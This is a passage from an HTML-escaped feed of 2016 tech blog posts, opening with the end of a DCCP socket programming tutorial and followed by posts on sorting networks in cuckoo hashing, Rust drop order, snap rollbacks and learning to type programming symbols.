	printf(&lt;span style="color: #b44;"&gt;"Maximum Packet Size: %d&lt;/span&gt;&lt;span style="color: #b62; font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;, mps);

	&lt;span style="color: #a2f; font-weight: bold;"&gt;for&lt;/span&gt; (&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; i &lt;span style="color: #666;"&gt;=&lt;/span&gt; &lt;span style="color: #666;"&gt;4&lt;/span&gt;; i &lt;span style="color: #666;"&gt;&amp;lt;&lt;/span&gt; argc; i&lt;span style="color: #666;"&gt;++&lt;/span&gt;) {
		&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (send(socket_fd, argv[i], strlen(argv[i]) &lt;span style="color: #666;"&gt;+&lt;/span&gt; &lt;span style="color: #666;"&gt;1&lt;/span&gt;, &lt;span style="color: #666;"&gt;0&lt;/span&gt;) &lt;span style="color: #666;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #666;"&gt;0&lt;/span&gt;)
			error_exit(&lt;span style="color: #b44;"&gt;"send"&lt;/span&gt;);
	}

	&lt;span style="color: #080; font-style: italic;"&gt;// Wait for a while to allow all the messages to be transmitted
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;	usleep(&lt;span style="color: #666;"&gt;5&lt;/span&gt; &lt;span style="color: #666;"&gt;*&lt;/span&gt; &lt;span style="color: #666;"&gt;1000&lt;/span&gt;);

	close(socket_fd);
	&lt;span style="color: #a2f; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #666;"&gt;0&lt;/span&gt;;
}

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;probe.c&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;code class="language-C"&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #080;"&gt;#include&lt;/span&gt; &lt;span style="color: #080;"&gt;"dccp.h"&lt;/span&gt;&lt;span style="color: #080;"&gt;
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; &lt;span style="color: #00a000;"&gt;main&lt;/span&gt;()
{
	&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; sock_fd &lt;span style="color: #666;"&gt;=&lt;/span&gt; socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);

	&lt;span style="color: #080; font-style: italic;"&gt;// Check the congestion control schemes available
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;	socklen_t res_len &lt;span style="color: #666;"&gt;=&lt;/span&gt; &lt;span style="color: #666;"&gt;6&lt;/span&gt;;
	uint8_t ccids[&lt;span style="color: #666;"&gt;6&lt;/span&gt;];
	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; (getsockopt(sock_fd, SOL_DCCP, DCCP_SOCKOPT_AVAILABLE_CCIDS, ccids, &lt;span style="color: #666;"&gt;&amp;amp;&lt;/span&gt;res_len)) {
		perror(&lt;span style="color: #b44;"&gt;"getsockopt(DCCP_SOCKOPT_AVAILABLE_CCIDS)"&lt;/span&gt;);
		&lt;span style="color: #a2f; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #666;"&gt;-&lt;/span&gt;&lt;span style="color: #666;"&gt;1&lt;/span&gt;;
	}

	printf(&lt;span style="color: #b44;"&gt;"%d CCIDs available:"&lt;/span&gt;, res_len);
	&lt;span style="color: #a2f; font-weight: bold;"&gt;for&lt;/span&gt; (&lt;span style="color: #0b0; font-weight: bold;"&gt;int&lt;/span&gt; i &lt;span style="color: #666;"&gt;=&lt;/span&gt; &lt;span style="color: #666;"&gt;0&lt;/span&gt;; i &lt;span style="color: #666;"&gt;&amp;lt;&lt;/span&gt; res_len; i&lt;span style="color: #666;"&gt;++&lt;/span&gt;)
		printf(&lt;span style="color: #b44;"&gt;" %d"&lt;/span&gt;, ccids[i]);

	&lt;span style="color: #a2f; font-weight: bold;"&gt;return&lt;/span&gt; res_len;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;dccp.h&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;code class="language-C"&gt;&lt;span style="color: #080; font-style: italic;"&gt;/* This file only contains constants necessary for user space to call
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt; * into the kernel and thus, contains no copyrightable information. */&lt;/span&gt;

&lt;span style="color: #080;"&gt;#ifndef DCCP_DCCP_H
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_DCCP_H
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #080; font-style: italic;"&gt;// From the kernel's include/linux/socket.h
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;#define SOL_DCCP                        269
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #080; font-style: italic;"&gt;// From kernel's include/uapi/linux/dccp.h
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_SERVICE            2
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_CHANGE_L           3
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_CHANGE_R           4
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_GET_CUR_MPS        5
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_SERVER_TIMEWAIT    6
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_SEND_CSCOV         10
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_RECV_CSCOV         11
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_AVAILABLE_CCIDS    12
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_CCID               13
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_TX_CCID            14
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_RX_CCID            15
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_QPOLICY_ID         16
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_QPOLICY_TXQLEN     17
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_CCID_RX_INFO       128
&lt;/span&gt;&lt;span style="color: #080;"&gt;#define DCCP_SOCKOPT_CCID_TX_INFO       192
&lt;/span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;
&lt;span style="color: #080;"&gt;#endif &lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;//DCCP_DCCP_H
&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="caveats-and-conclusion"&gt;Caveats and Conclusion&lt;/h2&gt;
&lt;p&gt;DCCP is not mainstream. It is not widely deployed or even supported. Documentation is sparse. Although Linux DCCP NAT is functional, many intermediate boxes will probably just drop DCCP traffic. DCCP is the Fixed-gear bicycle of Layer 4, it is the ultimate hipster transport.&lt;/p&gt;</description><author>Anmol Sarma</author><pubDate>Tue, 13 Dec 2016 19:40:50 GMT</pubDate><guid isPermaLink="true">https://www.anmolsarma.in/post/dccp/</guid></item><item><title>Originality &amp;amp; Creativity</title><link>https://venam.net/blog/psychology/2016/12/14/creativity.html</link><description>We take actions based on our unconscious mind, we follow our unspoken norms and taboos. For a little while we may think we are original or creative, but we aren't — at least not following the definition we attributed to the terms.  This is not uncommon, everyone thinks that they are innovative. A positive illusion or just the opposite, let's not discuss determinism.  The human brain works by re-interpreting and linking concepts. There's no blank slate, otherwise we would have no base to stack ideas unto. Those concepts come from the surrounding bubble, a relatively narrow one.  Like a snowball rolling through fresh snow.  The bigger the ball gets the more we can see of life, the more complex the components of the ball get, the more likely they are to stick, encroached on it, buried under the snow. But even that perception of reality isn't reality, it's a vehicle.  A transportation that might take you somewhere no one has ever set foot. If only creativity would spur.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Tue, 13 Dec 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/psychology/2016/12/14/creativity.html</guid></item><item><title>What Kind of Ethernet (Cat5, Cat5e, Cat6, Cat6a) Cable Should I Use?</title><link>https://justingarrison.com/blog/2016-12-13-what-kind-of-ethernet-cat-5e6a-cable-should-i-use/</link><description>Not all Ethernet cable is created equally. What’s the</description><author>Justin Garrison's Homepage</author><pubDate>Tue, 13 Dec 2016 18:55:01 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-12-13-what-kind-of-ethernet-cat-5e6a-cable-should-i-use/</guid></item><item><title>Nobody ever implements sort</title><link>https://da-data.blogspot.com/2016/12/nobody-ever-implements-sort.html</link><description>In discussions on Hacker News, I repeatedly see comments about "&lt;a href="https://news.ycombinator.com/item?id=13138691"&gt;nobody ever implements sorting algorithms&lt;/a&gt;" -- or, generalized, that it's a waste of time studying up on basic data structures and algorithms, because they're all already implemented.&lt;br /&gt;
&lt;br /&gt;
While it's rare, it's not been my experience to never re-implement the basics. &amp;nbsp;I decided to data-mine my and my research group's past and current projects to identify the number of places we've implemented elementary data structures for good reasons.&lt;br /&gt;
&lt;h3&gt;
Sorting&lt;/h3&gt;
In the Cuckoo Filter, we &lt;a href="https://github.com/efficient/cuckoofilter/blob/master/src/packedtable.h#L95"&gt;implement a custom sort&lt;/a&gt;&amp;nbsp;to sort the four items that can go in a bucket. &amp;nbsp;Because this is a high-performance context, and the size of the set to be sorted is fixed and small, it's much faster to do this inline. &amp;nbsp;This sort only cares about the least-significant byte of the key.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp; &amp;nbsp; inline void SortPair(uint32_t&amp;amp; a, uint32_t&amp;amp; b) {&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ((a &amp;amp; 0x0f) &amp;gt; (b &amp;amp; 0x0f)) {&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;std::swap(a, b);&lt;/span&gt;&lt;/div&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; text-align: right;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTeZk3Gj9z269RftacRf1dvVIXKE_hnUvPQQkd5oF0gCdLBXyUq8W1AcmTRvaODe1F5JDCDsyMsbAuw5zoIK754aoML_Ofg1WwZni_eVvdr-ozaYqchrlKWL6XuiNi3fsL-rMykUuucOo/s1600/sorting_network.png" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="119" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTeZk3Gj9z269RftacRf1dvVIXKE_hnUvPQQkd5oF0gCdLBXyUq8W1AcmTRvaODe1F5JDCDsyMsbAuw5zoIK754aoML_Ofg1WwZni_eVvdr-ozaYqchrlKWL6XuiNi3fsL-rMykUuucOo/s200/sorting_network.png" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Four-element sorting network&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp; &amp;nbsp; inline void SortTags(uint32_t *tags) {&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SortPair(tags[0], tags[2]);&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SortPair(tags[1], tags[3]);&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SortPair(tags[0], tags[1]);&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SortPair(tags[2], tags[3]);&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;SortPair(tags[1], tags[2]);&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="s1"&gt;&lt;/span&gt;&lt;/div&gt;
It looks obvious, but there are a few things to note about doing this: &amp;nbsp;First, it implements a basic &lt;a href="https://en.wikipedia.org/wiki/Sorting_network"&gt;sorting network&lt;/a&gt;, as shown at right. &amp;nbsp;Key to this choice is that it has a "depth" of three -- the first two compare/swap operations can be performed in parallel; &amp;nbsp;then the next two; &amp;nbsp;then the final one. &amp;nbsp;This is an optimal sorting network for size 4.&lt;br /&gt;
&lt;br /&gt;
Is this actually faster? &amp;nbsp;Definitely. &amp;nbsp;Comparing this vs. the naive use of std::sort:&lt;br /&gt;
&lt;br /&gt;
&lt;span&gt;inline int32_t STLSortTags(uint32_t (&amp;amp;tags)[4]) {&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&amp;nbsp; std::sort(std::begin(tags), std::end(tags),&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [](uint32_t a, uint32_t b) {&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; return (a &amp;amp; 0xf) &amp;lt; (b &amp;amp; 0xf);&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&amp;nbsp; &amp;nbsp; });&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
I&lt;span&gt;ndicates -- with some overhead, because &lt;a href="https://github.com/dave-andersen/dga-blog-code/blob/master/sort_compare.cc"&gt;my benchmark program&lt;/a&gt; also initializes the array with random data each time -- that it's at least 5.6x faster:&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&lt;span&gt;fully inlined : 0.76 seconds&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span&gt;STL sort : 4.26 seconds&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
The place where this is used is performance-critical -- the "semi-sorted" (a type of compression) cuckoo filter has to sort the contents of a 4-element bucket any time an element is inserted. &amp;nbsp;The sorting network works well on our target x86 platform because it exploits the inherent parallelism of modern processors (they can issue multiple instructions per cycle, if those instructions are independent). &amp;nbsp;The entirely inlined implementation avoids a lot of unnecessary function call and setup overhead from a more general-purpose sorting algorithm.&lt;br /&gt;
&lt;h3&gt;
Breadth-First Search&lt;/h3&gt;
In &lt;a href="https://github.com/efficient/libcuckoo/blob/96ec0e720a4a8058752ac95097c05a88ae94a84e/src/cuckoohash_map.hh#L995"&gt;libcuckoo, our high-performance Cuckoo hash library for C++,&lt;/a&gt;&amp;nbsp;we implement a custom BFS queue, for both size and memory efficiency reasons. &amp;nbsp;The size of our search is bounded, and this queue is on the speed-critical path for inserting items into the hash table as it becomes full, so we wanted it to be as fast as possible. &amp;nbsp;Xiaozhou Li and then Manu Goyal implemented and reimplemented a custom queue and BFS for this, which is part of why libcuckoo is so fast. &amp;nbsp;(The use of BFS for insertion was one of the core contributions in our Eurosys14 paper, "&lt;a href="http://www.cs.cmu.edu/~dga/papers/cuckoo-eurosys14.pdf"&gt;Algorithmic Improvements for Fast Concurrent Cuckoo Hashing&lt;/a&gt;".)&lt;br /&gt;
&lt;br /&gt;
I implemented a similar version of this for the &lt;a href="https://github.com/tensorflow/tensorflow/blob/754048a0453a04a761e112ae5d99c149eb9910dd/tensorflow/core/util/presized_cuckoo_map.h"&gt;Cuckoo hash table in TensorFlow&lt;/a&gt;.&lt;br /&gt;
&lt;h3&gt;
Hash Tables&lt;/h3&gt;
Ok, I put that up there for humor, if you know what my research group has been working on for the last several years. &amp;nbsp;Don't go implement your own. &amp;nbsp;Use &lt;a href="https://github.com/efficient/libcuckoo"&gt;libcuckoo&lt;/a&gt;. :)&lt;br /&gt;
&lt;h3&gt;
Circular Buffers and Lists&lt;/h3&gt;
In MICA, a high-performance network-based key-value store, we provide a &lt;a href="https://github.com/efficient/mica2/blob/23210b711a46b91c1c6c8ab06424fd271418f3df/src/mica/transaction/list_impl.h"&gt;custom implementation of a list using a circular buffer&lt;/a&gt;. &amp;nbsp;Using circular buffers is one of the more frequent reasons we end up reimplementing data structures, when we know something in advance about their expected and maximum size and want to ruthlessly eliminate allocator overhead. &amp;nbsp;There's one in the queue in libcuckoo as well. &amp;nbsp;These come up a lot in systems - in fact, &lt;a href="https://www.kernel.org/doc/Documentation/circular-buffers.txt"&gt;the Linux kernel documentation provides a specific explanation about them&lt;/a&gt;. &amp;nbsp;Anuj Kalia just finished &lt;a href="https://www.cs.cmu.edu/~akalia/doc/osdi16/fasst_osdi.pdf"&gt;modifying the Mellanox infiniband device driver to reuse its descriptors in a circular buffer fashion&lt;/a&gt;&amp;nbsp;(page 8).&lt;br /&gt;
&lt;h3&gt;
So you're saying I should go implement my own data structures?&lt;/h3&gt;
&lt;i&gt;Of course not&lt;/i&gt;. &amp;nbsp;Don't. &amp;nbsp;99% of the time, don't. &amp;nbsp;I left out from this article the thousands of times we use &lt;span&gt;std::sort() &lt;/span&gt;and every other predefined bit of wonderful code we didn't have to write ourselves. &amp;nbsp;The STL and other libraries are great. &amp;nbsp;In many cases, they're faster than what you'd write the first two or three times on your own (though &lt;a href="http://lemire.me/blog/2016/10/10/a-case-study-in-the-performance-cost-of-abstraction-cs-stdshuffle/"&gt;Daniel Lemire might disagree&lt;/a&gt;). &amp;nbsp;From a software engineering perspective, you shouldn't reinvent the wheel.&lt;br /&gt;
&lt;br /&gt;
But every now and then, after you've made sure you're using the right types of algorithms and data structures, and have written repeatable benchmarks, and have made sure that &lt;a href="http://stackoverflow.com/questions/1058390/is-the-optimized-delay-a-myth-or-is-it-real"&gt;improving the speed of this component actually matters&lt;/a&gt;, and have broken out &lt;a href="https://perf.wiki.kernel.org/index.php/Main_Page"&gt;perf&lt;/a&gt; and &lt;a href="https://golang.org/pkg/net/http/pprof/"&gt;pprof&lt;/a&gt; or &lt;a href="https://software.intel.com/en-us/intel-vtune-amplifier-xe"&gt;Intel VTune&lt;/a&gt;&amp;nbsp;and identified that there's a clear bottleneck you need to overcome... then you may find that there's a nice spot for customizing the implementation of a standard data structure or algorithm.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://news.ycombinator.com/item?id=13145755"&gt;Discuss on Hacker News&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;</description><author>Dave's Data</author><pubDate>Tue, 13 Dec 2016 03:41:57 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/12/nobody-ever-implements-sort.html</guid></item><item><title>Links - December 13, 2016</title><link>https://faingezicht.com/links/2016/12/13/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 13 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/12/13/links/</guid></item><item><title>Thoughts on changing Rust's drop order</title><link>https://ochagavia.nl/blog/thoughts-on-changing-rusts-drop-order/</link><description>There seems to be a wide consensus that the current (unspecified) drop order in Rust is weird and arbitrary. If you are not yet convinced, you should definitely take a look at a previous post exploring the current rules.
While changing the drop order seems attractive, there are many aspects that need to be considered before embarking in such a quest. In this post I would like to expand on the consequences of changing the drop order.</description><author>Consulting on Adolfo Ochagavía</author><pubDate>Mon, 12 Dec 2016 16:14:51 GMT</pubDate><guid isPermaLink="true">https://ochagavia.nl/blog/thoughts-on-changing-rusts-drop-order/</guid></item><item><title>Exploring Rust's unspecified drop order</title><link>https://ochagavia.nl/blog/exploring-rusts-unspecified-drop-order/</link><description>After my previous post, I thought it would be interesting to run some experiments to determine the unspecified drop order within different constructs of Rust. After you read this, I guarantee you will understand why there is so much discussion about changing the current drop order before stabilizing it :)
TLDR: the current drop order is really weird!
In this post we are going to look at:
Local variables Tuples Structs and enums Slices Closure captures We will be reusing the PrintDrop struct, so here is the definition in case you forgot it:</description><author>Consulting on Adolfo Ochagavía</author><pubDate>Mon, 12 Dec 2016 15:14:51 GMT</pubDate><guid isPermaLink="true">https://ochagavia.nl/blog/exploring-rusts-unspecified-drop-order/</guid></item><item><title>Ash Huang: Artist, Author &amp;amp; Designer</title><link>https://solomon.io/ash-huang-artist-author-designer/</link><description>Ash Huang is a designer and award-winning novelist from Silicon Valley.</description><author>Sam Solomon</author><pubDate>Mon, 12 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/ash-huang-artist-author-designer/</guid></item><item><title>Snap updates: automatic rollbacks</title><link>https://kyrofa.com/posts/snap-updates-automatic-rollbacks/</link><description>When researching snaps, one of the main advantages everyone talks about is the fact that they&amp;rsquo;re transactionally updated. That is, an upgrade either succeeds or fails, it doesn&amp;rsquo;t leave the snap in a broken state. If you have snap &amp;ldquo;A&amp;rdquo; installed and an update for it is released, it&amp;rsquo;ll automatically update. If that update is somehow broken, the snap will roll back to the previously-working revision. However, no one has really talked about how that works.</description><author>kyrofa's blog</author><pubDate>Mon, 12 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/snap-updates-automatic-rollbacks/</guid></item><item><title>Typing for Programmers</title><link>https://josh.works/typing-for-programmers</link><description>&lt;p&gt;If you had to distill my ability to bring value to those around me, it would be “Josh types good”.&lt;/p&gt;

&lt;p&gt;I can press these magical little keys on this little metal box here, and make these words come out.&lt;/p&gt;

&lt;p&gt;If you’re reading these words, you don’t care how these words actually got on this page. You don’t care if I used speech-to-text, transcription, hunt-and-pecked, or if my keyboard layout is QWERTY, Dvorak , or Colemak.&lt;/p&gt;

&lt;p&gt;All that matters is that I can express reasonable ideas reasonably well. (Or, as I prefer,
unreasonable ideas, reasonably well.)&lt;/p&gt;

&lt;p&gt;You, too, probably spend a bit of your time behind a keyboard.&lt;/p&gt;

&lt;p&gt;I’ve already spent time trying to improve my typing speed. After &lt;a href="/learn-to-type-again"&gt;ill-fated attempts at converting myself to using the Colemak keyboard layout&lt;/a&gt;, but I gave up, except &lt;a href="/stop-yelling-on-the-internet-or-a-better-use-for-the-caps-lock-key"&gt;I kept my &lt;code class="language-plaintext highlighter-rouge"&gt;CAPS LOCK&lt;/code&gt; key mapped to &lt;code class="language-plaintext highlighter-rouge"&gt;DELETE&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;That was a reasonable position to find myself, except now I’m getting into this whole “programming” thing. That means I have to familiarize myself with that part of my keyboard I’ve so far avoided, like:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;[] {} |\\| #{'word_that_means_something'} &amp;amp;&amp;amp; |other| arcane.keys&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Don’t forget your symbols!&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;! @ # $ % &amp;amp; * ( ) - _ = + &amp;lt; &amp;gt; \ ~ \&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I ultimately need to be able to use every single one of those keys without thinking about it, without looking at the keyboard, and without looking at what I’m typing to verify that it’s correct.&lt;/p&gt;

&lt;p&gt;(For example, if you’re reading documentation or code on one part of your screen, typing something into some other program, you cannot be looking at what you’re typing and what you’re supposed to be typing simultaneously.)&lt;/p&gt;

&lt;h1 id="how-have-i-learned-to-type-all-these-crazy-symbols"&gt;How have I learned to type all these crazy symbols?&lt;/h1&gt;

&lt;p&gt;Two methods:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Typing.io&lt;/li&gt;
  &lt;li&gt;Changed my passwords&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="typingio"&gt;Typing.io&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://typing.io/"&gt;typing.io&lt;/a&gt; bills itself as “Typing Practice for Programmers”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can pick a language you want to learn (like Ruby, Python, C++, etc) and then presents you with real live code, that you type along with.&lt;/p&gt;

&lt;p&gt;Typing.io doesn’t solve everything, though, because there are still common code combinations that are hard to learn without lots of repetition.&lt;/p&gt;

&lt;p&gt;An example from the Ruby track: Have you &lt;em&gt;ever&lt;/em&gt; used the &lt;code class="language-plaintext highlighter-rouge"&gt;|&lt;/code&gt; key? NO!&lt;/p&gt;

&lt;p&gt;So, that brings us to method number 2:&lt;/p&gt;

&lt;h2 id="changing-my-passwords"&gt;Changing my passwords&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Change commonly used passwords to require hard-to-type code snippets.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I first got creative with changing my passwords after reading
&lt;a href="https://medium.com/@manicho/how-a-password-changed-my-life-7af5d5f28038#.c43eyodf2"&gt;How a Password Changed My Life&lt;/a&gt;. I’d remind myself to get up early, (when that was hard, I reminded myself to go to bed early).&lt;/p&gt;

&lt;p&gt;I cannot say that I’ve transformed my life through creative passwords, but I stumbled across using them to improve my typing.&lt;/p&gt;

&lt;p&gt;I’ve got two passwords that I often type:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;My computer password, because I’ve got my computer set to sleep if there’s no activity for five minutes (it requires a password upon waking up)&lt;/li&gt;
  &lt;li&gt;1Password Password Manager. Any time I want to log into a system that requires a password (so, about fifteen different systems during the normal workday), I have the password saved to 1Password, and if it has been inactive for five minutes, it locks itself.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, if I change both passwords to something incorporating difficult-to-use key combinations, I am using hard-to-remember keys, over and over and over&lt;/p&gt;

&lt;p&gt;For both systems, I create unique passwords that require me to get good with different pieces of code.&lt;/p&gt;

&lt;p&gt;In the past, I’ve used it to train the &lt;code class="language-plaintext highlighter-rouge"&gt;#&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;%&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;amp;&amp;amp;&lt;/code&gt; symbols, as well as &lt;code class="language-plaintext highlighter-rouge"&gt;[]&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;{}&lt;/code&gt;. I’m now comfortable with &lt;code class="language-plaintext highlighter-rouge"&gt;#{}&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;[&amp;amp;&amp;amp;]&lt;/code&gt;. Soon, I’ll rotate them again to incorporate more “sticky” keys that I struggle with.&lt;/p&gt;

&lt;p&gt;As I get deeper into my studies, anytime I encounter a difficult key combination (like hitting &lt;code class="language-plaintext highlighter-rouge"&gt;=&lt;/code&gt; right after my pinky is otherwise engaged with a &lt;code class="language-plaintext highlighter-rouge"&gt;'&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;|&lt;/code&gt; key) I jot it down, to use next time I update my passwords.&lt;/p&gt;

&lt;p&gt;If you’re getting into Ruby, here’s some potential passwords to play with. Please don’t use these actual passwords, but sub in meaningful-but-random words where appropriate.&lt;/p&gt;

&lt;ul&gt;
